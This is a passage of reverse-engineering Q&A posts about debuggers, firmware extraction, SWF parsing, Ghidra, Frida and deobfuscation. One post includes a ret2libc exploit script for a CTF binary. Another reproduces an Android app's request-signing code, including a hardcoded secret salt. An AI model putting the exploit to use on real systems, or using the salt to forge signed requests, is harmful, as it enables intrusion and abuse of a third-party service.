0019F6C8 76AE5CAB 004200BE 2C       s3.sub_4200A4+1A   System
0019F6F4 76AD67BC 76AE5CAB E4       user32.76AE5CAB    System
0019F7D8 76AD58FB 76AD67BC 74       user32.76AD67BC    System
0019F84C 76AD97B1 76AD58FB 30       user32.76AD58FB    System
0019F87C 76ACEB4E 76AD97B1 2C       user32.76AD97B1    System
0019F8A8 00422C49 76ACEB4E 7C       user32.76ACEB4E    User
0019F924 0041E194 00422C49 FFE606E0 s3.sub_422C1F+2A   User
00000004 00000000 0041E194          s3.sub_41E0DC+B8   User
</code>```

I initially tried to investigate some close User sections near a System section... but they all seem like shared code that is used when other GUI elements in the application have to be displayed.

So what is the best approach to determine where the if(....) comparison is?

Note: I am using x64dbg, but the process should not change wrt other debuggers


问:
Where can i find unix/linux tool for fuzzing for kill-switches?
I'm looking for linux/unix open-source tools for fuzzing ethernet card for kill-switch packets.

https://en.wikipedia.org/wiki/Fuzzing

I can imagine how it would be long to brute full of range on physical level.

That is why, i'm looking for ready to go heuristic tool and special ethernet card for this task.


问:
How to ret with jxx in x64dbg's sciprt
```<code>main:
    call foo
    call bar
    ret

foo:
    // code

    cmp $number, 0
    je ret

    // code
    ret

bar:
    // code

    cmp $number, 0
    je ret

    // code
    ret
</code>```

I would like to write a script like above. I looked it up, but I don't think there's a proper way.

So I have to jump between labels instead of calling.

```<code>main:
    jmp foo

foo:
    // code

    cmp $number, 0
    je bar

    // code

    jmp bar

bar:
    // code

    cmp $number, 0
    je ret

    // code
    ret
</code>```

Is there good way to return when some flag is triggered?

Title: How to ret with jxx in x64dbg's sciprt


问:
SWF ActionScript byte-code method info does not match AVM2 specification
I have a bunch of SWF files that represent UI in the game. Most of them contain DoABC tag, however the tag type is 300 instead of 82.

Putting this trouble aside, I started parsing the tag according to the official AVM2 overview, and found multiple other issues with the structure:

For most of the methods flag value contains flags 0x01 and 0x04 (NEED_ARGUMENTS and NEED_REST) which according to the doc must not be used together.

For some reason the option_info.option_count is always greater than param_count.

If I was to ignore point 2 and parse params anyway - param type in most cases is incorrect (page 26)

Here is the sample byte-code. 0x2F means method count. While parsed according to the doc, at 0x12 you can see that there are 5 params, and 0x1b tells us that 7 of them are optional, which is totally nonsense because

[...] The number of optional parameters is given by option_count, which must not be zero nor greater than the parameter_count [...]

My guesses are that the 300 tag indicates custom tag so custom parsing rules could apply and for other points I would say that the order of fields changed and the flag, as well as param count and optionals info, is at different offset. But how can I be sure that the certain way of parsing is the correct one? I am unfamiliar with ActionScript and have no idea if method name, param name or param type make any sense.

If we take the example above, parsing it according to the doc would result in the first method (address 0x01) named flash.events (0x03) has 0 params (0x01) with the return type fl.transitions.easing.Back (0x02) and flag 0x05 (0x04)


问:
Windows binwalk refuses to extract files
I'm trying to reverse engineer the firmware for an AutoDrive AD-520 dashcam. The firmware is available for download here. I've installed binwalk on windows, I can get it to read the file just fine, here's a screenie of a regular binwalk SD_CarDV.bin

However, if I try pretty much anything else it doesn't work. I can't do -E, it just sits there for a minute then reads out the file contents like --signature, but doesn't do anything else, and trying to save the -E to a png I get an error saying "failed to import matplotlib module". When I try -e, I get a readout just like with --signature, but no actual files are created in the working directory. If I use -e -C=./tmp I get the normal readout, a tmp folder is created, but no files. I've tried --dd=".*", as well as --log=binwalk.log, literally copied from the github manual, and I get this error (same error with -dd and --log)

I can't seem to get this thing to work. I'm wondering if it's me, windows, the firmware file itself...I can't figure it out. Can anyone help me?


问:
Ollydbg Plugin Development
I wanted to write a simple Ollydbg plugin that shows me, for example, a simple message like hello world. in further, I wanted to learn how can I write a complex plugin to hook a function and to modify its parameters and so on. Is there any manual for that job?</p>

Title: Ollydbg Plugin Development


问:
Problem rebuilding firmware
I'm new to reverse engineering.

I only want to add an app to my sat receiver.

To start I tried to extract my firmware with ./extract-firmware, it's ok, and I have 1 ecos RTOS, and two cramfs in fmk/

BUT when I rebuild without any change, I have a message

```<code>Building new cramfs file system... (this may take several minutes!)
Directory data: 464 bytes
Everything: 1392 kilobytes
Super block: 76 bytes
CRC: b79c2a52
Remaining free bytes in firmware image: 856064
Processing 0 header(s) from /home/thehou/firmware-mod-kit/fmk/new-firmware.bin...
CRC update failed.

Firmware header not supported; firmware checksums may be incorrect.
New firmware image has been saved to: /home/thehou/firmware-mod-kit/fmk/new-firmware.bin`
</code>```

So before I continue to add an app into my sat receiver, I want to know how can I rebuild my extracted firmware.

Perhaps must I extract with binwalk, but I don't know how to rebuild!

Thanks for your help.

Reference : this is the receiver firmware

Title: Problem rebuilding firmware


问:
Jump without jmp near
I need to jump a

```<code>Hello,
</code>```

I need to jump some lines that lock program in a loop status.
i use process hacker to find lines with string in binary but when i find this lines i have not jumps near, in fact i can't find CALL send me to this lines.

this is a part of code:

```<code>00AD06C8                         | 70 01                      | jo AD06CB                                       |
00AD06CA                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD06CC                         | 04 00                      | add al,0                                        |
00AD06CE                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD06D0                         | 2300                       | and eax,dword ptr ds:[eax]                      |
00AD06D2                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD06D4                         | 0D 00000000                | or eax,0                                        |
00AD06D9                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD06DB                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD06DD                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD06DF                         | 0090 01000000              | add byte ptr ds:[eax+1],dl                      |
00AD06E5                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD06E7                         | 0003                       | add byte ptr ds:[ebx],al                        |
00AD06E8                         | 0302                       | add eax,dword ptr ds:[edx]                      |
00AD06EA                         | 0122                       | add dword ptr ds:[edx],esp                      |
00AD06EC                         | 42                         | inc edx                                         |
00AD06ED                         | 0065 00                    | add byte ptr ss:[ebp],ah                        |
00AD06F0                         | 72 00                      | jb AD06F2                                       |
00AD06F2                         | 6C                         | insb                                            |
00AD06F3                         | 0069 00                    | add byte ptr ds:[ecx],ch                        |
00AD06F6                         | 6E                         | outsb                                           |
00AD06F7                         | 0020                       | add byte ptr ds:[eax],ah                        |
00AD06F9                         | 0053 00                    | add byte ptr ds:[ebx],dl                        |
00AD06FC                         | 61                         | popad                                           |
00AD06FD                         | 006E 00                    | add byte ptr ds:[esi],ch                        |
00AD0700                         | 73 00                      | jae AD0702                                      |
00AD0702                         | 2000                       | and byte ptr ds:[eax],al                        |
00AD0704                         | 46                         | inc esi                                         |
00AD0705                         | 0042 00                    | add byte ptr ds:[edx],al                        |
00AD0708                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD070A                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD070C                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD070E                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0710                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0712                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0714                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0716                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0718                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD071A                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD071C                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD071E                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0720                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0722                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0724                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0726                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0728                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD072A                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD072C                         | 42                         | inc edx                                         |
00AD072D                         | 0065 00                    | add byte ptr ss:[ebp],ah                        |
00AD0730                         | 72 00                      | jb AD0732                                       |
00AD0732                         | 6C                         | insb                                            |
00AD0733                         | 0069 00                    | add byte ptr ds:[ecx],ch                        |
00AD0736                         | 6E                         | outsb                                           |
00AD0737                         | 0020                       | add byte ptr ds:[eax],ah                        |
00AD0739                         | 0053 00                    | add byte ptr ds:[ebx],dl                        |
00AD073C                         | 61                         | popad                                           |
00AD073D                         | 006E 00                    | add byte ptr ds:[esi],ch                        |
00AD0740                         | 73 00                      | jae AD0742                                      |
00AD0742                         | 2000                       | and byte ptr ds:[eax],al                        |
00AD0744                         | 46                         | inc esi                                         |
00AD0745                         | 0042 00                    | add byte ptr ds:[edx],al                        |
00AD0748                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD074A                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD074C                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD074E                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0750                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0752                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0754                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0756                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0758                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD075A                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD075C                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD075E                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0760                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0762                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0764                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0766                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0768                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD076A                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD076C                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD076E                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0770                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0772                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0774                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0776                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0778                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD077A                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD077C                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD077E                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0780                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0782                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0784                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0786                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0788                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD078A                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD078C                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD078E                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0790                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0792                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0794                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0796                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD0798                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD079A                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD079C                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD079E                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD07A0                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD07A2                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD07A4                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD07A6                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD07A8                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD07AA                         | 0000                       | add byte ptr ds:[eax],al                        |
00AD07AC                         | 4E                         | dec esi                                         |
00AD07AD                         | 006F 00                    | add byte ptr ds:[edi],ch                        |
00AD07B0                         | 72 00                      | jb AD07B2                                       |
00AD07B2                         | 6D                         | insd                                            |
</code>```

00AD06CC is the line that process hacker show problem.

as you can see error appears in different lines.

Title: Jump without jmp near


问:
exploiting a binary using ret2libc
I ran into this binary at a CTF :
https://github.com/auehc/AUCTF-2020/tree/master/Pwn/House%20of%20Madness

I first tried to exploit it and get a shell using ret2libc technique, however I didn't succeed.
I know it is not the intended way to solve the challenge, but after the CTF, I am now focusing
on achieving ret2libc on this binary. And I am now stuck and need help :)

The source is in challenge.c, and the compiled version is challenge.

ASLR is disabled for the challenge, and on my computer too :

```<code>$ > cat /proc/sys/kernel/randomize_va_space
0
</code>```

It is possible to trigger a buffer overflow using this input :

```<code>"2\n4\n3\nStephen\n"
</code>```

plus some padding.

I wrote an exploit to try to pop a shell (without success) :

```<code>#!/usr/bin/env python2

import struct

valid_input = "2\n4\n3\nStephen\n"
pad = "aaaaaaaa2Aa3Aa4Aa5Aa6Aa7aaaa"
binsh = struct.pack("I", 0xf7f4caaa)
system = struct.pack("I", 0xf7e0c9e0)
exit = struct.pack("<I", 0xf7dffa60)

exploit = valid_input \
        + pad \
        + system \
        + exit \
        + binsh
print exploit
</code>```

Now, I will tell you why I don't understand why it's not working.

When i break on the ret in the function where I triggered the buffer overflow, the stack looks like this:

```<code>[0x56556684]> pxw 16 @esp
0xffffd23c  0xf7e0c9e0 0xf7dffa60 0xf7f4caaa 0xffffd200  ....`...........
</code>```

so, you can see that first there is 0xf7e0c9e0, then 0xf7dffa60, then 0xf7f4caaa.

0xf7e0c9e0 is the address of system in the libc :

```<code>[0x56556684]> dmi libc system
257   0x0012a2c0 0xf7ef82c0 GLOBAL FUNC   102       svcerr_systemerr
658   0x0003e9e0 0xf7e0c9e0 GLOBAL FUNC   55        __libc_system
1525  0x0003e9e0 0xf7e0c9e0 WEAK   FUNC   55        system
</code>```

0xf7dffa60 is the address of exit, altough it shouldn't be needed, if I popped the shell.

0xf7f4caaa is the address of the string /bin/sh\x00 in the libc :

```<code>[0x56556684]> px10@0xf7f4caaa
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0xf7f4caaa  2f62 696e 2f73 6800 6578                 /bin/sh.ex
</code>```

I am stuck there, and can't figure out what is happening.. If anyone can point me in the right direction, I would be very happy :)

Title: exploiting a binary using ret2libc


问:
Develop a Hello World plugin for Ollydbg
I wanted to write a plugin for Ollydbg 2 which shows just a simple message. I write the following one but it doesn't load in ollydbg. I am using ollydbg 2 and my DLL can't load by it. Where is the problem? </p>

```<code>#define _CRT_SECURE_NO_DEPRECATE

#include <windows.h>
#include <stdio.h>
#include <string.h>
#include "plugin.h"

#define PLUGINNAME      L"Hello World"      // Unique plugin name
#define VERSION         L"2.00.01"          // Plugin version
HINSTANCE               hDllInstance;       // Instance of plugin DLL
static t_table          HelloWorld;         // Hello World table

// Menu function of main menu, opens or brings to top list of bookmarks.
static int OpenHelloWorldMessage(int mode) {
    if (mode == MENU_VERIFY)
    {
        return MENU_NORMAL;
    }
    else if (mode == MENU_EXECUTE)
    {
        MessageBox(NULL, L"This is a Sample Program.", L"Message", MB_OK);
        return MENU_NOREDRAW;
    }
    else
    {
        return MENU_ABSENT;
    }
};

// Menu function of main menu, displays About dialog.
static int ShowHelloWorldAbout(int arg_mode) {
    int dwNumber;
    wchar_t wcStringProgram[TEXTLEN];
    if (arg_mode == MENU_VERIFY)
        return MENU_NORMAL;

    else if (arg_mode == MENU_EXECUTE) {
        // Debuggee should continue execution while message box is displayed.
        Resumeallthreads();

        dwNumber = StrcopyW(wcStringProgram, TEXTLEN, L"Hello Plugin v");
        dwNumber += StrcopyW(wcStringProgram + dwNumber, TEXTLEN - dwNumber, VERSION);
        dwNumber += StrcopyW(wcStringProgram + dwNumber, TEXTLEN - dwNumber, L"\nCopyright (C) 2019-2020 lightning");
        StrcopyW(wcStringProgram + dwNumber, TEXTLEN - dwNumber, L"MSVC Compiler");
        MessageBox(hwollymain, wcStringProgram, L"Bookmark plugin", MB_OK | MB_ICONINFORMATION);

        Suspendallthreads();

        return MENU_NOREDRAW;
    };

    return MENU_ABSENT;
};

static t_menu HelloWorldMainMenu[] = {
    { L"Open Hello", L"Show Hello Message", K_NONE, OpenHelloWorldMessage, NULL, 0 },
    { L"|About", L"About Hello Plugin", K_NONE, ShowHelloWorldAbout, NULL, 0 },
    { NULL, NULL, K_NONE, NULL, NULL, 0 }
};

extc t_menu* __cdecl ODBG2_PluginMenu(wchar_t* type) {

    if (wcscmp(type, PWM_MAIN) == 0)
        return HelloWorldMainMenu;

    return NULL;
};

static t_menu HelloWorldMenu[] = {
    { L"|>STANDARD", L"", K_NONE, NULL, NULL, 0}
};

BOOL WINAPI DllEntryPoint(HINSTANCE hi, DWORD reason, LPVOID reserved) {
    if (reason == DLL_PROCESS_ATTACH)
        hDllInstance = hi;          // Mark plugin instance
    return 1;                       // Report success
};

extc int __cdecl ODBG2_Pluginquery(int arg_olly_version, ulong* arg_features, wchar_t arg_plugin_name[SHORTNAME], wchar_t arg_plugin_version[SHORTNAME]) {
    if (arg_olly_version < 201)
        return 0;
                                                    // Report name and version to OllyDbg.
    wcscpy(arg_plugin_name, PLUGINNAME);            // Name of plugin
    wcscpy(arg_plugin_version, VERSION);            // Version of plugin
    return PLUGIN_VERSION;                          // Expected API version
};

extc int __cdecl ODBG2_Plugininit(void)
{
    OpenHelloWorldMessage(MENU_EXECUTE);

    return 0;
};
</code>```

<p>I wanted when it gets load show a message but it doesn't work. </p>


问:
Anti-re tactics or radare problem while debugging
Here's the target application: https://www.sa-mp.com/download.php

While live debugging, the Windows application is starting a few threads, and Cutter auto breaks after entrypoint for a reason I'm not sure of. The samp server application only throws that it cannot load server.cfg. Is it due to threads, or is it anti-re tactics?

All auto settings.
Cutter v1.10.3x64
Windows 10 Home


问:
Ghidra wrong array size
I'm new to the field, so it's probably a stupid question, but when I tried to decompile this binary from picoCTF 2019 I got an array of size 4 (local_38) when looking at a solution it should be of size 26.

Why is this happening? And what should I do to solve this if possible?

Here is the result of the decompling.

```<code>void main(void)

{
  FILE *__stream;
  FILE *__stream_00;
  size_t sVar1;
  long in_FS_OFFSET;
  int local_54;
  int local_50;
  char local_38 [4];
  char local_34;
  char local_33;
  char local_29;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  __stream = fopen("flag.txt","r");
  __stream_00 = fopen("mystery.png","a");
  if (__stream == (FILE *)0x0) {
    puts("No flag found, please make sure this is run on the server");
  }
  if (__stream_00 == (FILE *)0x0) {
    puts("mystery.png is missing, please run this on the server");
  }
  sVar1 = fread(local_38,0x1a,1,__stream);
  if ((int)sVar1 < 1) {
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  puts("at insert");
  fputc((int)local_38[0],__stream_00);
  fputc((int)local_38[1],__stream_00);
  fputc((int)local_38[2],__stream_00);
  fputc((int)local_38[3],__stream_00);
  fputc((int)local_34,__stream_00);
  fputc((int)local_33,__stream_00);
  local_54 = 6;
  while (local_54 < 0xf) {
    fputc((int)(char)(local_38[local_54] + '\x05'),__stream_00);
    local_54 = local_54 + 1;
  }
  fputc((int)(char)(local_29 + -3),__stream_00);
  local_50 = 0x10;
  while (local_50 < 0x1a) {
    fputc((int)local_38[local_50],__stream_00);
    local_50 = local_50 + 1;
  }
  fclose(__stream_00);
  fclose(__stream);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
</code>```

Title: Ghidra wrong array size


问:
Windows or Linux x86 Scheduler instructions
I want to understand how multi process scheduler works on x86 CPU with Linux or Windows kernels.

I have read there is a kind of "timer" inside CPU. This timer gives "time slices" to each process.

What i want to understand is what really happens when a time slice is finished. Does an interrupt fire ? or something else ? I suppose kernel code is runned between 2 slices but how...

Thanks


问:
Trying to extract an uncompressed Filesystem uImage
I'm trying to explore the firmware (Huawei LiteOS) of a Hi3518-based IP camera. From my explorations, it seems to be an uncompressed & unencrypted filesystem image but I can't seem to access the contents. I have no serial access to the device at all.

Running file on the firmware file returns

u-boot legacy uImage, 7518-hi3518-liteoslzm, Linux/ARM, Filesystem Image (any type) (Not compressed), 4002560 bytes, Sat Apr 20 04:36:35 2019, Load Address: 0x00000000, Entry Point: 0x00000000, Header CRC: 0x17BDF51E, Data CRC: 0x5C5FF340

binwalk only returns the following

```<code>DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             uImage header, header size: 64 bytes, header CRC: 0x17BDF51E, created: 2019-04-20 04:36:35, image size: 4002560 bytes, Data Address: 0x0, Entry Point: 0x0, data CRC: 0x5C5FF340, OS: Linux, CPU: ARM, image type: Filesystem Image, compression type: none, image name: "7518-hi3518-liteoslzm"
</code>```

Extracting everything after the header results in a binary file that I haven't been able to dump  with JFFS2 (Wrong bit mask), SquashFS (No SquashFS superblock). Lzma says file format not recognized.

Opcodes show:

```<code>DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
2657993       0x288EC9        Ubicom32 instructions, function epilogue
</code>```

Thanks for your help!

Hexdump added - Apr 16, 2020
(Full at: https://drive.google.com/file/d/1LXHaFbhyl5_Jba1Gsoa0JzuYE-SRy12o/view?usp=sharing )

First 12 lines:

```<code>0000040 12f0 003d 52c8 0065 0000 0000 0000 0000
0000050 c030 54fb 8c5e 5871 0405 3f10 4674 2100
0000060 6748 1004 00ca 00ce 00d2 450e 0040 0561
0000070 401a ff88 efef efef efef efef efef efef
0000080 efef 6b6f 26b4 0099 8b84 0f49 9440 f4a6
0000090 0400 4b04 ff4f bf2f bfbf bfbf bfbf bfbf
00000a0 bfbf bfbf bfbf afcd c055 7a71 8174 8401
00000b0 1889 4018 5470 003c e784 03c4 a040 adc0
00000c0 0401 1aeb 4018 3880 0189 2644 1819 e040
00000d0 9954 4401 d88d 4001 41e8 5a3c c490 2200
00000e0 0cc4 e00c 2221 d400 0200 a5a1 2003 c874
00000f0 00cc 92f2 0c0d 6820 d843 2200 ede4 2000

</code>```

Entropy and Binvis


问:
enumerateExports missing functions
```<code>Module.enumerateExports("libgame.so", { onMatch: function(e) {

console.log("type " + e.type + " name of function = " + e.name + " " +    e.address); }
, onComplete: function() { } });
</code>```

it does not list all the functions and variables wich im 100% sure some of them are being used after taking a look at ida pro , also there is two odex files in the app user folder , base.odex and some generated odex name based on timestamp , can enumerateloadedClasses load the other odex file or just the base.odex ? im thinking maybe some of the library code is being dumped as odex then calling DynamiteLoaderClassLoader to load it , also the addresses provided does not much ida for exemple on frida i get 0xc32bcf64 but the function on ida its 0x25E4F64

Title: enumerateExports missing functions


问:
Main contemporary deobfuscation techniques
Could you please specify in a few words main contemporary deobfuscation techniques which we can apply to 32/64 bit PE files?
For example, (1) using instruction templates, such as:

```<code>mov edx, 5B1F04F1h
xor edx, 6ADB1F45h
add edx, 0CE3BE450h
</code>```

Can be convert to:

```<code>mov r32, imm32_1
xor r32, imm32_2
add r32, imm32_3
</code>```

Pack into:

```<code>mov r32, (imm32_1 ^ imm32_2 + imm32_3)
</code>```

And later become:

```<code>mov edx, 4h
</code>```


问:
how to change the read destination of the data in the game
I would like to know how to change the read destination of the data in the game.

I now want to modify the player data and fonts in a psx baseball game.

However, the player data in the target game(called jikkyou powerful pro yakyuu premium ban) has a compressed data file (P_SC_M.BIN) and an uncompressed data file (P_SEL.BIN), and the one that is loaded in the game is compressed.

I can modify uncompressed data, but I can't modify compressed data.

So, in this case, I would like to know how to change the in-game data read destination from compressed data to uncompressed data.

Please let me know if you have any hints or information about useful tools.

Thank you.


问:
Force Format/Analyser on obfuscated/anti-disassembly file
I have a clear .class file, which is likely obfuscated. However, Ghidra is not detecting it as Java, and shows it as Raw binary, which prevents me from using the Java Class Analyzer on the file.

How can I force Ghidra to identify the file as Java class file or to show me the Java Class Analyzer?


问:
Trying to replicate encryption of an android app
I was trying to replicate/copy the encryption of an android app which uses CryptoJS with sha256 encryption as having seen in the source code of the android app. fingerprinting the app, it was built with reactJS and TypeScript and apparently compiled with Babel compiler, which all I don't understand them thoroughly.
the code encrypts a signature to communicate with the server, Here is a snippet of the code:

```<code>f = t.type + "&" + encodeURIComponent(t.url) + "&" + n + "&" + u + "&" + b +
                                "&LS8goCQy4O2w5xnPmEOp/PjtKe37+d9HxRthqug9VC0=",
Signature = hexToBase64((0, c.default)(f).toString());
</code>```

in the snippet code Signature = hexToBase64((0, c.default)(f).toString()); the signature is calculated but unfortunately because of source code was uglified and minified, in my research I identified the code responsible to calculate the signature is as follows:

```<code>__d(function (g, r, i, a, m, e, d) {
        var t,
        n;
        t = this,
        n = function (t) {
            return (function (n) {
                var o = t,
                s = o.lib,
                c = s.WordArray,
                f = s.Hasher,
                h = o.algo,
                u = [],
                l = [];
                !(function () {
                    function t(t) {
                        for (var o = n.sqrt(t), s = 2; s <= o; s++)
                            if (!(t % s))
                                return !1;
                        return !0
                    }
                    function o(t) {
                        return 4294967296 * (t - (0 | t)) | 0
                    }
                    for (var s = 2, c = 0; c < 64; )
                        t(s) && (c < 8 && (u[c] = o(n.pow(s, .5))), l[c] = o(n.pow(s, .3333333333333333)), c++), s++
                })();
                var _ = [],
                v = h.SHA256 = f.extend({
                    _doReset: function () {
                        this._hash = new c.init(u.slice(0))
                    },
                    _doProcessBlock: function (t, n) {
                        for (var o = this._hash.words, s = o[0], c = o[1], f = o[2], h = o[3], u = o[4], v = o[5], p = o[6], H = o[7], y = 0; y < 64; y++) {
                            if (y < 16)
                                _[y] = 0 | t[n + y];
                            else {
                                var w = _[y - 15],
                                A = (w << 25 | w >>> 7) ^ (w << 14 | w >>> 18) ^ w >>> 3,
                                S = _[y - 2],
                                B = (S << 15 | S >>> 17) ^ (S << 13 | S >>> 19) ^ S >>> 10;
                                _[y] = A + _[y - 7] + B + _[y - 16]
                            }
                            var b = s & c ^ s & f ^ c & f,
                            x = (s << 30 | s >>> 2) ^ (s << 19 | s >>> 13) ^ (s << 10 | s >>> 22),
                            j = H + ((u << 26 | u >>> 6) ^ (u << 21 | u >>> 11) ^ (u << 7 | u >>> 25)) + (u & v ^ ~u & p) + l[y] + _[y];
                            H = p,
                            p = v,
                            v = u,
                            u = h + j | 0,
                            h = f,
                            f = c,
                            c = s,
                            s = j + (x + b) | 0
                        }
                        o[0] = o[0] + s | 0,
                        o[1] = o[1] + c | 0,
                        o[2] = o[2] + f | 0,
                        o[3] = o[3] + h | 0,
                        o[4] = o[4] + u | 0,
                        o[5] = o[5] + v | 0,
                        o[6] = o[6] + p | 0,
                        o[7] = o[7] + H | 0
                    },
                    _doFinalize: function () {
                        var t = this._data,
                        o = t.words,
                        s = 8 * this._nDataBytes,
                        c = 8 * t.sigBytes;
                        return o[c >>> 5] |= 128 << 24 - c % 32,
                        o[14 + (c + 64 >>> 9 << 4)] = n.floor(s / 4294967296),
                        o[15 + (c + 64 >>> 9 << 4)] = s,
                        t.sigBytes = 4 * o.length,
                        this._process(),
                        this._hash
                    },
                    clone: function () {
                        var t = f.clone.call(this);
                        return t._hash = this._hash.clone(),
                        t
                    }
                });
                o.SHA256 = f._createHelper(v),
                o.HmacSHA256 = f._createHmacHelper(v)
            })(Math),
            t.SHA256
        },
        "object" == typeof e ? m.exports = e = n(r(d[0])) : "function" == typeof define && define.amd ? define(["./core"], n) : n(t.CryptoJS)
    }, 725, [726]);

</code>```

another method with same functionality but with some minor changes was also defined:

```<code>    __d(function (g, r, i, a, m, e, d) {
        var t,
        n;
        t = this,
        n = function () {
            var t = t || (function (t, n) {
                var o = Object.create || (function () {
                    function t() {}
                    return function (n) {
                        var o;
                        return t.prototype = n,
                        o = new t,
                        t.prototype = null,
                        o
                    }
                })(),
                s = {},
                c = s.lib = {},
                u = c.Base = {
                    extend: function (t) {
                        var n = o(this);
                        return t && n.mixIn(t),
                        n.hasOwnProperty('init') && this.init !== n.init || (n.init = function () {
                            n.$super.init.apply(this, arguments)
                        }),
                        n.init.prototype = n,
                        n.$super = this,
                        n
                    },
                    create: function () {
                        var t = this.extend();
                        return t.init.apply(t, arguments),
                        t
                    },
                    init: function () {},
                    mixIn: function (t) {
                        for (var n in t)
                            t.hasOwnProperty(n) && (this[n] = t[n]);
                        t.hasOwnProperty('toString') && (this.toString = t.toString)
                    },
                    clone: function () {
                        return this.init.prototype.extend(this)
                    }
                },
                f = c.WordArray = u.extend({
                    init: function (t, n) {
                        t = this.words = t || [],
                        this.sigBytes = void 0 != n ? n : 4 * t.length
                    },
                    toString: function (t) {
                        return (t || p).stringify(this)
                    },
                    concat: function (t) {
                        var n = this.words,
                        o = t.words,
                        s = this.sigBytes,
                        c = t.sigBytes;
                        if (this.clamp(), s % 4)
                            for (var u = 0; u < c; u++) {
                                var f = o[u >>> 2] >>> 24 - u % 4 * 8 & 255;
                                n[s + u >>> 2] |= f << 24 - (s + u) % 4 * 8
                            }
                        else
                            for (u = 0; u < c; u += 4)
                                n[s + u >>> 2] = o[u >>> 2];
                        return this.sigBytes += c,
                        this
                    },
                    clamp: function () {
                        var n = this.words,
                        o = this.sigBytes;
                        n[o >>> 2] &= 4294967295 << 32 - o % 4 * 8,
                        n.length = t.ceil(o / 4)
                    },
                    clone: function () {
                        var t = u.clone.call(this);
                        return t.words = this.words.slice(0),
                        t
                    },
                    random: function (n) {
                        for (var o, s = [], c = function (n) {
                            n = n;
                            var o = 987654321,
                            s = 4294967295;
                            return function () {
                                var c = ((o = 36969 * (65535 & o) + (o >> 16) & s) << 16) + (n = 18e3 * (65535 & n) + (n >> 16) & s) & s;
                                return c /= 4294967296,
                                (c += .5) * (t.random() > .5 ? 1 : -1)
                            }
                        }, u = 0; u < n; u += 4) {
                            var h = c(4294967296 * (o || t.random()));
                            o = 987654071 * h(),
                            s.push(4294967296 * h() | 0)
                        }
                        return new f.init(s, n)
                    }
                }),
                h = s.enc = {},
                p = h.Hex = {
                    stringify: function (t) {
